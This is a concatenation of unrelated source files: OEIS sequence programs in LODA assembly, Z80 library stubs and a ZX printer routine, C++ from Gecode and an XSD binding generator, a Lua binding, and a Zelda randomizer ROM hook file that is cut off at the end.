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; A083919: Number of divisors of n that are congruent to 9 modulo 10. ; 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,2,0 add $0,1 mov $2,$0 lpb $0 mov $3,$2 mov $4,$0 cmp $4,0 add $0,$4 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 add $5,1 lpb $5 add $1,1 add $5,$3 mod $5,10 lpe trn $5,3 lpe mov $0,$1
; void zx_cls_wc_pix(struct r_Rect8 *r, uchar pix) SECTION code_clib SECTION code_arch PUBLIC zx_cls_wc_pix EXTERN asm_zx_cls_wc_pix zx_cls_wc_pix: pop af pop hl pop ix push hl push hl push af jp asm_zx_cls_wc_pix
/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- */ /* * Main authors: * Christian Schulte <schulte@gecode.org> * * Copyright: * Christian Schulte, 2004 * * This file is part of Gecode, the generic constraint * development environment: * http://www.gecode.org * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ namespace Gecode { namespace Iter { namespace Ranges { /** * \brief Range iterator for pointwise minus of a range iterator * * This iterator in effect changes the order of how ranges * are iterated: the first range of the input iterator defines * the last range of the Minus iterator. Upon initialization * all ranges of the input iterator are stored * which later allows iteration in inverse direction. * * \ingroup FuncIterRanges */ class Minus : public RangeListIter { public: /// \name Constructors and initialization //@{ /// Default constructor Minus(void); /// Copy constructor Minus(const Minus& m); /// Initialize with ranges from \a i template<class I> Minus(Region& r, I& i); /// Initialize with ranges from \a i template<class I> void init(Region& r, I& i); /// Assignment operator (both iterators must be allocated from the same region) Minus& operator =(const Minus& m); //@} }; forceinline Minus::Minus(void) {} forceinline Minus::Minus(const Minus& m) : RangeListIter(m) {} template<class I> void Minus::init(Region& r, I& i) { RangeListIter::init(r); RangeList* p = NULL; for (; i(); ++i) { RangeList* t = new (*rlio) RangeList; t->next = p; t->min = -i.max(); t->max = -i.min(); p = t; } RangeListIter::set(p); } template<class I> forceinline Minus::Minus(Region& r, I& i) { init(r,i); } forceinline Minus& Minus::operator =(const Minus& m) { return static_cast<Minus&>(RangeListIter::operator =(m)); } }}} // STATISTICS: iter-any
; A047207: Numbers that are congruent to {0, 1, 3, 4} mod 5. ; 0,1,3,4,5,6,8,9,10,11,13,14,15,16,18,19,20,21,23,24,25,26,28,29,30,31,33,34,35,36,38,39,40,41,43,44,45,46,48,49,50,51,53,54,55,56,58,59,60,61,63,64,65,66,68,69,70,71,73,74,75,76,78,79,80,81,83,84,85,86,88,89,90,91,93,94,95,96,98,99,100,101,103,104,105,106,108,109,110,111,113,114,115,116,118,119,120,121,123,124,125,126,128,129,130,131,133,134,135,136,138,139,140,141,143,144,145,146,148,149,150,151,153,154,155,156,158,159,160,161,163,164,165,166,168,169,170,171,173,174,175,176,178,179,180,181,183,184,185,186,188,189,190,191,193,194,195,196,198,199,200,201,203,204,205,206,208,209,210,211,213,214,215,216,218,219,220,221,223,224,225,226,228,229,230,231,233,234,235,236,238,239,240,241,243,244,245,246,248,249,250,251,253,254,255,256,258,259,260,261,263,264,265,266,268,269,270,271,273,274,275,276,278,279,280,281,283,284,285,286,288,289,290,291,293,294,295,296,298,299,300,301,303,304,305,306,308,309,310,311 mov $1,$0 mul $1,5 add $1,2 div $1,4
; A113861: a(n) = (1/9)*((6*n - 7)*2^(n-1) - (-1)^n). ; 0,1,5,15,41,103,249,583,1337,3015,6713,14791,32313,70087,151097,324039,691769,1470919,3116601,6582727,13864505,29127111,61050425,127693255,266571321,555512263,1155763769,2401006023,4980969017,10319851975,21355531833,44142719431,91148750393,188024123847,387501493817,797909479879,1641631944249,3374889857479,6933031652921,14232567181767,29198142115385,59862299734471,122656630476345,251177322967495,514082769964601,1051621787988423,2150156072095289,4394137136427463,8975924257328697,18327148483604935 mov $2,$0 lpb $2 add $0,$1 mul $0,2 add $0,$2 cmp $1,0 sub $2,1 lpe div $0,3
setup_segment: mov cx, 0x07c0 ;shifted to left, 0x7c00 mov ds, cx ret print: mov ah, 0x0e print_loop: mov al, [bx] cmp al, 0 je print_end mov al, [bx] int 0x10 inc bx jmp print_loop println: call print newline: mov al, 10 int 0x10 ;accapo mov al, 13 int 0x10 ret print_end ret
// Copyright (c) 2005-2014 Code Synthesis Tools CC // // This program was generated by CodeSynthesis XSD, an XML Schema to // C++ data binding compiler. // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA // // In addition, as a special exception, Code Synthesis Tools CC gives // permission to link this program with the Xerces-C++ library (or with // modified versions of Xerces-C++ that use the same license as Xerces-C++), // and distribute linked combinations including the two. You must obey // the GNU General Public License version 2 in all respects for all of // the code used other than Xerces-C++. If you modify this copy of the // program, you may extend this exception to your version of the program, // but you are not obligated to do so. If you do not wish to do so, delete // this exception statement from your version. // // Furthermore, Code Synthesis Tools CC makes a special exception for // the Free/Libre and Open Source Software (FLOSS) which is described // in the accompanying FLOSSE file. // // Begin prologue. // // // End prologue. #include <xsd/cxx/pre.hxx> #include "SimNode_MixedWaterFlowPort_Water_InOrOut.hxx" namespace schema { namespace simxml { namespace ResourcesGeneral { // SimNode_MixedWaterFlowPort_Water_InOrOut // } } } #include <xsd/cxx/xml/dom/parsing-source.hxx> #include <xsd/cxx/tree/type-factory-map.hxx> namespace _xsd { static const ::xsd::cxx::tree::type_factory_plate< 0, char > type_factory_plate_init; } namespace schema { namespace simxml { namespace ResourcesGeneral { // SimNode_MixedWaterFlowPort_Water_InOrOut // SimNode_MixedWaterFlowPort_Water_InOrOut:: SimNode_MixedWaterFlowPort_Water_InOrOut () : ::schema::simxml::ResourcesGeneral::SimNode_MixedWaterFlowPort () { } SimNode_MixedWaterFlowPort_Water_InOrOut:: SimNode_MixedWaterFlowPort_Water_InOrOut (const RefId_type& RefId) : ::schema::simxml::ResourcesGeneral::SimNode_MixedWaterFlowPort (RefId) { } SimNode_MixedWaterFlowPort_Water_InOrOut:: SimNode_MixedWaterFlowPort_Water_InOrOut (const SimNode_MixedWaterFlowPort_Water_InOrOut& x, ::xml_schema::flags f, ::xml_schema::container* c) : ::schema::simxml::ResourcesGeneral::SimNode_MixedWaterFlowPort (x, f, c) { } SimNode_MixedWaterFlowPort_Water_InOrOut:: SimNode_MixedWaterFlowPort_Water_InOrOut (const ::xercesc::DOMElement& e, ::xml_schema::flags f, ::xml_schema::container* c) : ::schema::simxml::ResourcesGeneral::SimNode_MixedWaterFlowPort (e, f, c) { } SimNode_MixedWaterFlowPort_Water_InOrOut* SimNode_MixedWaterFlowPort_Water_InOrOut:: _clone (::xml_schema::flags f, ::xml_schema::container* c) const { return new class SimNode_MixedWaterFlowPort_Water_InOrOut (*this, f, c); } SimNode_MixedWaterFlowPort_Water_InOrOut:: ~SimNode_MixedWaterFlowPort_Water_InOrOut () { } } } } #include <istream> #include <xsd/cxx/xml/sax/std-input-source.hxx> #include <xsd/cxx/tree/error-handler.hxx> namespace schema { namespace simxml { namespace ResourcesGeneral { } } } #include <xsd/cxx/post.hxx> // Begin epilogue. // // // End epilogue.
#include "lua_class_position.hpp" #include "../../position.hpp" namespace elona { namespace lua { void LuaPosition::bind(sol::state& lua) { auto LuaPosition = lua.create_simple_usertype<Position>(); /** * @luadoc new function * * Constructs a new LuaPosition. * @usage local LuaPosition = Elona.require("LuaPosition") * local pos = LuaPosition.new() */ LuaPosition.set("new", sol::constructors<Position(), Position(int, int)>()); /** * @luadoc x field num * * [RW] The X coordinate of this position. */ LuaPosition.set("x", &Position::x); /** * @luadoc y field num * * [RW] The Y coordinate of this position. */ LuaPosition.set("y", &Position::y); lua.set_usertype("LuaPosition", LuaPosition); } } // namespace lua } // namespace elona
; A137932: Terms in an n X n spiral that do not lie on its principal diagonals. ; 0,0,0,4,8,16,24,36,48,64,80,100,120,144,168,196,224,256,288,324,360,400,440,484,528,576,624,676,728,784,840,900,960,1024,1088,1156,1224,1296,1368,1444,1520,1600,1680,1764,1848,1936,2024,2116,2208,2304,2400,2500,2600,2704,2808,2916,3024,3136,3248,3364,3480,3600,3720,3844,3968,4096,4224,4356,4488,4624,4760,4900,5040,5184,5328,5476,5624,5776,5928,6084,6240,6400,6560,6724,6888,7056,7224,7396,7568,7744,7920,8100,8280,8464,8648,8836,9024,9216,9408,9604 sub $0,1 pow $0,2 div $0,4 mul $0,4
; ; Copy the graphics from screen to the zx printer ; It can be used for any redefined (or not) pseudo-graphics, fonts and characters. ; ; Traps the BREAK key to avoid an unwanted C program termination, etc.. ; ; Stefano Bodrato, 2018 ; ; ; $Id: zx_hardcopy.asm $ ; SECTION code_clib PUBLIC zx_hardcopy PUBLIC _zx_hardcopy EXTERN loadudg6 .zx_hardcopy ._zx_hardcopy ld c,0 ; first UDG chr$ to load ld b,64 ; number of characters to load ;ld hl,acefont ld hl,0 add hl,sp ld (stacksave+1),hl ld hl,-512 add hl,sp ld sp,hl push hl call loadudg6 pop hl ld de,-1024 add hl,de ld (acefont+1),hl ; The full character-mapped screen is copied to the ZX-Printer. ; All twenty-four text/graphic lines are printed. ;; COPY DI L0869: LD D,24 ; prepare to copy twenty four text lines. LD HL,$2400 ; set HL to start of display file from D_FILE. ;; COPY-LOOP L087A: PUSH HL ; save first character of line pointer. (*) XOR A ; clear accumulator. LD E,A ; set pixel line count, range 0-7, to zero. ; this inner loop deals with each horizontal pixel line. ;; COPY-TIME L087D: OUT ($FB),A ; bit 2 reset starts the printer motor ; with an inactive stylus - bit 7 reset. POP HL ; pick up first character of line pointer (*) ; on inner loop. ; row_sync ;.LOOP1 ; IN A,($FB) ; GET PRINTER STATUS BYTE ; RLA ; ROTATE BIT 7 (LF BUSY) TO C FLAG ; JR NC,LOOP1 ; LOOP IF LINEFEED IS BUSY ;; COPY-BRK L0880: IN A,($FE) ; RRA ; jr nc,stop_exit ; --- ;; COPY-CONT L088A: IN A,($FB) ; read from printer port. ADD A,A ; test bit 6 and 7 JP M,L08DE ; jump forward with no printer to COPY-END JR NC,L0880 ; back if stylus not in position to COPY-BRK PUSH HL ; save first character of line pointer (*) PUSH DE ; ** preserve character line and pixel line. LD A,D ; text line count to A? CP $02 ; sets carry if last line. SBC A,A ; now $FF if last line else zero. ; now cleverly prepare a printer control mask setting bit 2 (later moved to 1) ; of D to slow printer for the last two pixel lines ( E = 6 and 7) AND E ; and with pixel line offset 0-7 RLCA ; shift to left. AND E ; and again. LD D,A ; store control mask in D. ;; COPY-NEXT L089C: LD A,(HL) ; load character from screen or buffer. ld c,a INC HL ; update pointer for next time. PUSH HL ; * else preserve the character pointer. ld h,0 sub 128 ld a,h ; zero jp c,blank ; filter out non-udg characters and force them to blank ld a,c ld l,a ld c,d ; save D reg ld d,h ; ..and put zero on it rl l rl h ; *2 rl l rl h ; *4 rl l rl h ; *8 add hl,de ; current character row ld a,e ; save E reg acefont: ;ld de,acefont-1024 ld de,0 add hl,de ld e,a ld d,c ld a,(hl) blank: LD C,A ; transfer the byte to C. LD B,$08 ; count eight bits to output. ;; COPY-BITS L08B5: LD A,D ; fetch speed control mask from D. RLC C ; rotate a bit from output byte to carry. RRA ; pick up in bit 7, speed bit to bit 1 LD H,A ; store aligned mask in H register. ;; COPY-WAIT L08BA: IN A,($FB) ; read the printer port RRA ; test for alignment signal from encoder. JR NC,L08BA ; loop if not present to COPY-WAIT LD A,H ; control byte to A. OUT ($FB),A ; and output to printer port. DJNZ L08B5 ; loop for all eight bits to COPY-BITS POP HL ; * restore character pointer. ld a,31 and l ; test if we are in a new line JR nz,L089C ; if within 32 columns, back for adjacent character line to COPY-NEXT ; --- ; End of line ;; COPY-N/L L08C7: IN A,($FB) ; read the printer port RRA ; test for alignment signal from encoder. JR NC,L08C7 ; loop if not present (as in COPY-WAIT) LD A,D ; transfer speed mask to A. RRCA ; rotate speed bit to bit 1. ; bit 7, stylus control is reset. OUT ($FB),A ; set the printer speed. POP DE ; ** restore character line and pixel line. INC E ; increment pixel line 0-7. BIT 3,E ; test if value eight reached. JR Z,L087D ; back if not to COPY-TIME ; eight pixel lines, a text line have been completed. POP BC ; lose the now redundant first character ; pointer DEC D ; decrease text line count. JR NZ,L087A ; back if not zero to COPY-LOOP stop_exit: LD A,$04 ; stop the already slowed printer motor. OUT ($FB),A ; output to printer port. ;; COPY-END L08DE: stacksave: ld hl,0 ld sp,hl EI RET ; SECTION bss_clib ;acefont: ; defs 512
; int b_array_at(b_array_t *a, size_t idx) SECTION code_adt_b_array PUBLIC _b_array_at EXTERN asm_b_array_at _b_array_at: pop af pop hl pop bc push bc push hl push af jp asm_b_array_at
;================================================================================ ; Init Hook ;-------------------------------------------------------------------------------- org $00802F ; <- 2F - Bank00.asm : 45 JSL.l Init_Primary NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Frame Hook ;-------------------------------------------------------------------------------- org $008056 ; <- 56 - Bank00.asm : 77 JSL.l FrameHookAction ;-------------------------------------------------------------------------------- ;================================================================================ ; NMI Hook ;-------------------------------------------------------------------------------- org $0080CC ; <- CC - Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB) JML.l NMIHookAction org $0080D0 ; <- D0 - Bank00.asm : 164 (PHA : PHX : PHY : PHD : PHB) NMIHookReturn: ;-------------------------------------------------------------------------------- ;org $00821B ; <- 21B - Bank00.asm : 329 (LDA $13 : STA $2100) ;JML.l PostNMIHookAction : NOP ;PostNMIHookReturn: ;-------------------------------------------------------------------------------- ;================================================================================ ; Anti-ZSNES Hook ;-------------------------------------------------------------------------------- ;org $008023 ;<- 23 - Bank00.asm : 36 (LDA.w #$01FF : TCS) ;JML.l CheckZSNES ;ReturnCheckZSNES: ;-------------------------------------------------------------------------------- ;================================================================================ ; Dungeon Entrance Hook (works, but not needed at the moment) ;-------------------------------------------------------------------------------- ;org $02D8C7 ; <- 158C7 - Bank02.asm : 10981 (STA $7EC172) ;JSL.l OnDungeonEntrance ;-------------------------------------------------------------------------------- ;================================================================================ ; D-Pad Invert ;-------------------------------------------------------------------------------- org $0083D9 ; <- 3D9 - Bank00.asm : 611 (LDA $4219 : STA $01) JSL.l alttp_mw_check_softreset : NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Dungeon Exit Hook ;-------------------------------------------------------------------------------- org $02E21B ; <- 1621B - Bank02.asm : 11211 (STA $040C) JSL.l OnDungeonExit : NOP #2 ;-------------------------------------------------------------------------------- ;================================================================================ ; Infinite Bombs / Arrows / Magic ;-------------------------------------------------------------------------------- ; org $08A17A ; <- 4217A - ancilla_arrow.asm : 42 (AND.b #$04 : BEQ .dont_spawn_sparkle) ; CMP.b #$03 : db #$90 ; !BLT ; org $08A40E ; <- 4240E - ancilla_arrow.asm : 331 (AND.b #$04 : BNE .use_silver_palette) ; CMP.b #$03 : db #$B0 ; !BGE ; ;-------------------------------------------------------------------------------- ; org $098127 ; <- 48127 - ancilla_init.asm : 202 (LDA $7EF343 : BNE .player_has_bombs) ; JSL.l LoadBombCount ; org $098133 ; <- 48133 - ancilla_init.asm : 211 (STA $7EF343 : BNE .bombs_left_over) ; JSL.l StoreBombCount ; ;-------------------------------------------------------------------------------- ; org $0DE4BF ; <- 6E4BF - equipment.asm : 1249 (LDA $7EF343 : AND.w #$00FF : BEQ .gotNoBombs) ; JSL.l LoadBombCount16 ; ;-------------------------------------------------------------------------------- ; org $0DDEB3 ; <- 6DEB3 - equipment.asm : 328 (LDA $7EF33F, X) ; JSL.l IsItemAvailable ; ;-------------------------------------------------------------------------------- ; org $0DFC5B ; <- 6FC5B - headsup_display.asm : 839 (LDA .mp_tilemap+0, X : STA $7EC746) ; JSL.l DrawMagicMeter : JMP.w + : NOP #21 : + ; ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Inverted Mode ; ;-------------------------------------------------------------------------------- ; org $028413 ; <- 10413 - Bank02.asm : 853 (LDA $7EF357 : BNE .notBunny) ; NOP #6 ; JSL.l DecideIfBunny : db #$D0 ; BNE ; ;-------------------------------------------------------------------------------- ; org $07AA44 ; <- 3AA44 - Bank07.asm : 853 (LDA $7EF357 : BNE .playerHasMoonPearl) ; NOP #6 ; JSL.l DecideIfBunnyByScreenIndex : db #$D0 ; BNE ; ;-------------------------------------------------------------------------------- ; org $02D9B9 ; <- 159B9 - Bank02.asm : 11089 (LDA $7EF3C8) ; JSL AllowStartFromSingleEntranceCave ; ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Hash Key Display ; ;-------------------------------------------------------------------------------- ; org $0CCDB5 ; <- 64DB5 - Bank0C.asm : 1776 (LDA.b #$06 : STA $14) ; JSL.l PrepHashAlphabet ; ;-------------------------------------------------------------------------------- ; ================================================================================ ; Agahnim 0bb ; -------------------------------------------------------------------------------- ;org $1ED6EF ; <- F56EF - sprite_agahnim.asm : 636 (JSL GetRandomInt : AND.b #$01 : BNE BRANCH_GAMMA) ;NOP #18 ; -------------------------------------------------------------------------------- ;================================================================================ ; Zelda Sprite Fixes ;-------------------------------------------------------------------------------- org $05EBCF ; <- 2EBCF - sprite_zelda.asm : 23 (LDA $7EF359 : CMP.b #$02 : BCS .hasMasterSword) JSL.l SpawnZelda : NOP #2 ;NOP #8 ;-------------------------------------------------------------------------------- ;org $06C06F ; <- 3406F - Bank06.asm : 1794 (JSL Sprite_ZeldaLong) ;JSL.l SpawnZelda ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Alternate Goal ; ;-------------------------------------------------------------------------------- ;Invincible Ganon org $06F2C8 ; <- 372C8 - Bank06.asm : 5776 (LDA $44 : CMP.b #$80 : BEQ .no_collision) JSL.l GoalItemGanonCheck ; ;-------------------------------------------------------------------------------- ; ;Hammerable Ganon ; org $06F2EA ; <- 372EA - Bank06.asm : 5791 (LDA $0E20, X : CMP.b #$D6 : BCS .no_collision) ; JSL.l CheckGanonHammerDamage : NOP ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Stat Hooks ;-------------------------------------------------------------------------------- org $079202 ; 39202 <- Bank07.asm : 2859 (JSL AddDashTremor) JSL.l StatBonkCounter ;-------------------------------------------------------------------------------- ; org $02B797 ; <- 13797 - Bank02.asm : 8712 (LDA.b #$19 : STA $10) ; JSL.l StatsFinalPrep ; ;-------------------------------------------------------------------------------- ; org $07A95B ; <- 3A95B - Bank07.asm : 6565 (JSL Dungeon_SaveRoomData) ; JSL.l IncrementUWMirror ; ; ;-------------------------------------------------------------------------------- ; ; org $0288D1 ; <- 108D1 - Bank02.asm : 1690 (STZ $0646) ; ; JSL.l IndoorSubtileTransitionCounter ; ; NOP #2 ; ; ;-------------------------------------------------------------------------------- ; org $07B574 ; <- 3B574 - Bank07.asm : 8519 (LDA.b #$01 : STA $02E9) ; JSL.l IncrementChestCounter ; NOP ;-------------------------------------------------------------------------------- ;org $05FC7E ; <- 2FC7E - sprite_dash_item.asm : 118 (LDA $7EF36F : INC A : STA $7EF36F) ;JSL.l IncrementSmallKeys ;-------------------------------------------------------------------------------- ;org $06D18D ; <- 3518D - sprite_absorbable.asm : 274 (LDA $7EF36F : INC A : STA $7EF36F) org $06D192 ; <- 35192 - sprite_absorbable.asm : 274 (STA $7EF36F) JSL.l IncrementSmallKeysNoPrimary ; ;-------------------------------------------------------------------------------- ; org $00F945 ; <- 7945 - Bank00.asm : 8557 (JSL SavePalaceDeaths) ; JSL.l StatTransitionCounter ; we're not bothering to restore the instruction we wrote over ; ;-------------------------------------------------------------------------------- org $09F443 ; <- 4F443 - module_death.asm : 257 (STA $7EF35C, X) JSL.l IncrementFairyRevivalCounter ; ;-------------------------------------------------------------------------------- ; org $02B6F3 ; <- 136F3 - Bank02.asm : 8600 (LDA.b #$0F : STA $10) ; JSL.l DungeonExitTransition ; ;-------------------------------------------------------------------------------- ; org $1BBD6A ; <- DBD6A - Bank1B.asm : 301 (LDA.b #$0F : STA $10) ; JSL.l DungeonExitTransition ; ;-------------------------------------------------------------------------------- ; org $01C3A7 ; <- C3A7 - Bank01.asm : 9733 (JSL Dungeon_SaveRoomQuadrantData) ; JSL.l DungeonStairsTransition ; ;-------------------------------------------------------------------------------- ; org $0BFFAC ; <- 5FFAC - Bank0B.asm : 170 (JSL Dungeon_SaveRoomQuadrantData) ; JSL.l DungeonStairsTransition ; ;-------------------------------------------------------------------------------- ; org $029A17 ; <- 11A17 - Bank02.asm : 4770 (JSL EnableForceBlank) ; JSL.l DungeonHoleEntranceTransition ; ;-------------------------------------------------------------------------------- ; org $0794EB ; <- 394EB - Bank07.asm : 3325 (LDA $01C31F, X : STA $0476) ; JSL.l DungeonHoleWarpTransition ; ;-------------------------------------------------------------------------------- ; org $0CC999 ; <- 64999 - Bank0C.asm : 1087 (LDA.b #$0F : STA $13) ; NOP #4 ;-------------------------------------------------------------------------------- ; org $01ED75 ; <- ED75 - Bank01.asm : 13963 (JSL Dungeon_SaveRoomQuadrantData) ; JSL.l IncrementBigChestCounter ;-------------------------------------------------------------------------------- ;================================================================================ ; Dialog Override ;-------------------------------------------------------------------------------- ;org $0EEE8D ; 0x76E8D <- vwf.asm : 152 (LDA $7F71C0, X : STA $04) ;JSL.l DialogOverride ;NOP #7 ;-------------------------------------------------------------------------------- org $0EF1FF ; 0x771FF <- vwf.asm : 1212 (LDA $7F1200, X : AND.w #$007F : SUB.w #$0066 : BPL .commandByte) JSL.l DialogOverride org $0EF2DC ; every other LDA $7F1200, X in vwf.asm JSL.l DialogOverride org $0EF315 JSL.l DialogOverride org $0EF332 JSL.l DialogOverride org $0EF375 JSL.l DialogOverride org $0EF394 JSL.l DialogOverride org $0EF511 JSL.l DialogOverride org $0EF858 JSL.l DialogOverride org $0EFA26 JSL.l DialogOverride org $0EFA4C JSL.l DialogOverride org $0EFAB4 JSL.l DialogOverride org $0EFAC8 JSL.l DialogOverride org $0EFAE1 JSL.l DialogOverride org $0EFB11 JSL.l DialogOverride ; ;-------------------------------------------------------------------------------- org $0EFBC6 ; <- 77BC6 - vwf.asm : 2717 (LDA.b #$1C : STA $1CE9) JSL.l ResetDialogPointer RTS ; ;-------------------------------------------------------------------------------- ; org $0EED0B ; <- PC 0x76D0B - Bank0E.asm : 3276 (LDA $E924, Y : STA $1008, X) ; JSL.l EndingSequenceTableOverride ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $0EED15 ; <- PC 0x76D15 - Bank0E.asm : 3282 (LDA $E924, Y : STA $1008, X) ; JSL.l EndingSequenceTableOverride ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $0EED2A ; <- PC 0x76D2A - Bank0E.asm : 3295 (LDA $E924, Y : AND.w #$00FF) ; JSL.l EndingSequenceTableLookupOverride ; NOP #2 ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Master Sword Chest Fix ;-------------------------------------------------------------------------------- ;org $0987d7 ; <- ancilla_init.asm : 1071 ;NOP #4 ;-------------------------------------------------------------------------------- ;================================================================================ ; File Select Init Event ;-------------------------------------------------------------------------------- org $0CCC89 ; <- 0x64C89 Bank0C.asm : 1598 (JSL EnableForceBlank) JSL.l OnInitFileSelect ;-------------------------------------------------------------------------------- ;================================================================================ ; Hyrule Castle Rain Sequence Guards (allowing Gloves in Link's house) ;-------------------------------------------------------------------------------- org $09C8B7 ; <- 4C8B7 dw #CastleRainSpriteData org $09F7BD ; <- 4F7BD CastleRainSpriteData: db $06, $1F, $40, $12, $01, $3F, $14, $01, $3F, $13, $1F, $42, $1A, $1F, $4B, $1A, $20, $4B, $25, $2D, $3F, $29, $20, $3F, $2A, $3C, $3F, $FF ;-------------------------------------------------------------------------------- ;================================================================================ ; Sprite_DrawMultiple ;-------------------------------------------------------------------------------- org $05DFB1 ; <- 2DFB1 - Bank05.asm : 2499 JSL.l SkipDrawEOR ;-------------------------------------------------------------------------------- ;================================================================================ ; Kiki Big Bomb Fix ;-------------------------------------------------------------------------------- org $1EE4AF ; <- f64af sprite_kiki.asm : 285 (LDA.b #$0A : STA $7EF3CC) JSL.l AssignKiki NOP #2 ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Hard & Masochist Mode Fixes ; ;-------------------------------------------------------------------------------- ; org $07D22B ; <- 3D22B - Bank05.asm : 12752 (LDA $D055, Y : STA $0373) ; JSL.l CalculateSpikeFloorDamage : NOP #2 ; ;-------------------------------------------------------------------------------- ; org $08DCC3 ; <- 45CC3 - ancilla_cane_spark.asm : 272 (LDA $7EF36E) ; JSL.l CalculateByrnaUsage ; ;-------------------------------------------------------------------------------- ; org $07AE17 ; <- 3AE17 - Bank07.asm : 7285 (LDA $7EF36E) ; JSL.l CalculateCapeUsage ; ;-------------------------------------------------------------------------------- ; org $07AE98 ; <- 3AE98 - Bank07.asm : 7380 (LDA $7EF36E) ; JSL.l CalculateCapeUsage ; ;-------------------------------------------------------------------------------- ; org $08DCA7 ; <- 45CA7 - ancilla_cane_spark.asm : 256 (LDA.b #$01 : STA $037B) ; JSL.l ActivateInvulnerabilityOrDont : NOP ; ;-------------------------------------------------------------------------------- ; org $06EF1B ; <- 36F1B - Bank06.asm : 5100 (TYA : STA $7FFA3C, X : BEQ BRANCH_DELTA) ; db #$27 ; ;-------------------------------------------------------------------------------- ; org $06EF43 ; <- 36F43 - Bank06.asm : 5117 (LDA.b #$40 : STA $0DF0, X) ; JSL CheckStunItemAction : NOP ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Misc Stats ;-------------------------------------------------------------------------------- org $029E2E ; <- 11E2E - module_ganon_emerges.asm : 59 (JSL Dungeon_SaveRoomData.justKeys) JSL.l OnAga2Defeated ;-------------------------------------------------------------------------------- org $0DDBDE ; <- 6DBDE - headsup_display.asm : 105 (DEC A : BPL .subtractRupees) JSL.l IncrementSpentRupees NOP #6 ;org $0DDBF7 ; <- 6DBF7 - headsup_display.asm : 121 (STA $7EF362) ;RefillLogic_subtractRupees: ;-------------------------------------------------------------------------------- ;================================================================================ ; Remove Item Menu Text ;-------------------------------------------------------------------------------- org $0DEBB0 ; <- 6EBB0 - equipment.asm : 1810 (LDA $0202) JMP DrawItem_finished org $0DECE6 ; <- 6ECE6 - equipment.asm : 1934 (SEP #$30) DrawItem_finished: org $0DEB48 ; <- 6EB48 - equipment.asm : 1784 (LDA $0000) LDA $0000, Y : STA $11F2 LDA $0002, Y : STA $11F4 LDA $0040, Y : STA $1232 LDA $0042, Y : STA $1234 ;--------------------------- org $0DE24B ; <- 6E24B - equipment.asm : 951 (LDA $0000) LDA $0000, Y : STA $11F2 LDA $0002, Y : STA $11F4 LDA $0040, Y : STA $1232 LDA $0042, Y : STA $1234 ;-------------------------------------------------------------------------------- org $0DE2DC ; <- 6E2DC - equipment.asm : 989 (LDA $F449, X : STA $122C, Y) JMP UpdateBottleMenu_return org $0DE2F1 ; <- 6E2F1 - equipment.asm : 1000 (SEP #$30) UpdateBottleMenu_return: ;-------------------------------------------------------------------------------- ;org $0DDDC3 ; <- 6DDC3 - equipment.asm : 131 (JSR DrawAbilityText) ;NOP #3 org $0DE6F4 ; <- 6E6F4 - equipment.asm : 1474 (BCC .lacksAbility) db #$80 ; BRA org $0DE81A ; <- 6E81A - equipment.asm : 1597 (STA $00) RTS org $0DE7B9 ; <- 6E7B9 - equipment.asm : 1548 (LDA.w #$16D0 : STA $00) JSL.l DrawGlovesInMenuLocation : NOP org $0DE7CF ; <- 6E7CF - equipment.asm : 1554 (LDA.w #$16C8 : STA $00) JSL.l DrawBootsInMenuLocation : NOP org $0DE7E5 ; <- 6E7E5 - equipment.asm : 1560 (LDA.w #$16D8 : STA $00) JSL.l DrawFlippersInMenuLocation : NOP org $0DECEB ; <- 6ECEB - equipment.asm : 1946 (LDA.w #$16E0 : STA $00) JSL.l DrawMoonPearlInMenuLocation : NOP ;-------------------------------------------------------------------------------- ;org $0DE9D8 ; <- 6E9D8 - equipment.asm : 1635 (LDA $E860, X : STA $12EA, X) ;BRA DrawProgressIcons_initPendantDiagram_notext ;org $0DEA0E ; <- 6EA0E - equipment.asm : 1645 (INX #2) ;DrawProgressIcons_initPendantDiagram_notext: ;-------------------------------------------------------------------------------- ;================================================================================ ; Map Always Zoomed ;-------------------------------------------------------------------------------- ;org $0ABA49 ; <- 53A49 - Bank0A.asm : 447 (LDA.b #$80 : STA $211A) ;JSL.l PrepMapZoom : RTL ;org $0ABB32 ; <- 53B32 - Bank0A.asm : 626 